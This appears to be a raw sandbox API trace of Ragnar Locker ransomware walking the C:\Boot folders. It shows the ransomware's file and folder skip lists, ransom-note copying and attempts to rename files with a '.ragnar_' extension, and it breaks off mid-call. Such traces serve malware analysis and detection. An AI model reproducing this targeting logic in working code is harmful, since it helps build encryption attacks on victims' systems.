lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.305] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.305] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.305] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.305] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.305] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.305] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.305] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.305] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.305] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.305] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.305] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.305] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.305] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.306] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.306] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\fi-FI\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.306] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.306] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.306] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.306] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.306] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.306] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.306] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.306] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.306] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.306] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0047.306] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.307] CloseHandle (hObject=0xffffffff) returned 0 [0047.307] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0047.307] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.307] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.307] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.307] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\fi-FI\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.307] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.307] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\fi-FI\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.307] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.307] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.307] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.307] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2=".") returned 1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="..") returned 1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Windows") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Windows.old") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Tor browser") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Internet Explorer") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Google") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Opera") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Opera Software") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Mozilla") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="Mozilla Firefox") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="$Recycle.Bin") returned 1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="ProgramData") returned -1 [0047.307] lstrcmpiW (lpString1="Fonts", lpString2="All Users") returned 1 [0047.307] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.307] lstrcpyW (in: lpString1=0x1ed660, lpString2="Fonts" | out: lpString1="Fonts") returned="Fonts" [0047.307] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\") returned="\\\\?\\C:\\Boot\\Fonts\\" [0047.308] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\Fonts\\" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\") returned="\\\\?\\C:\\Boot\\Fonts\\" [0047.308] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\Fonts\\RGNR_FD7BD9FC.txt" [0047.308] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\fonts\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.311] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\*.*") returned="\\\\?\\C:\\Boot\\Fonts\\*.*" [0047.311] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.311] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.311] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.311] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.312] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0047.312] lstrcmpiW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0047.312] lstrcmpiW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0047.312] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0047.312] lstrcmpiW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e71c8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.312] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0047.312] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0047.312] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.312] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0047.312] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.312] lstrcpyW (in: lpString1=0x1ecb94, lpString2="chs_boot.ttf" | out: lpString1="chs_boot.ttf") returned="chs_boot.ttf" [0047.312] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="autorun.inf") returned 1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="boot.ini") returned 1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="bootfont.bin") returned 1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="bootsect.bak") returned 1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="bootmgr") returned 1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="bootmgr.efi") returned 1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="bootmgfw.efi") returned 1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="desktop.ini") returned -1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="iconcache.db") returned -1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntldr") returned -1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntuser.dat") returned -1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntuser.ini") returned -1 [0047.313] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="thumbs.db") returned -1 [0047.313] lstrcmpiW (lpString1=".ttf", lpString2=".db") returned 1 [0047.313] lstrcmpiW (lpString1=".ttf", lpString2=".sys") returned 1 [0047.313] lstrcmpiW (lpString1=".ttf", lpString2=".dll") returned 1 [0047.313] lstrcmpiW (lpString1=".ttf", lpString2=".lnk") returned 1 [0047.313] lstrcmpiW (lpString1=".ttf", lpString2=".msi") returned 1 [0047.313] lstrcmpiW (lpString1=".ttf", lpString2=".drv") returned 1 [0047.313] lstrcmpiW (lpString1=".ttf", lpString2=".exe") returned 1 [0047.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0047.313] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.313] CloseHandle (hObject=0xffffffff) returned 0 [0047.313] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" [0047.313] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.ragnar_FD7BD9FC" [0047.314] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.ragnar_FD7BD9FC" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.314] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: 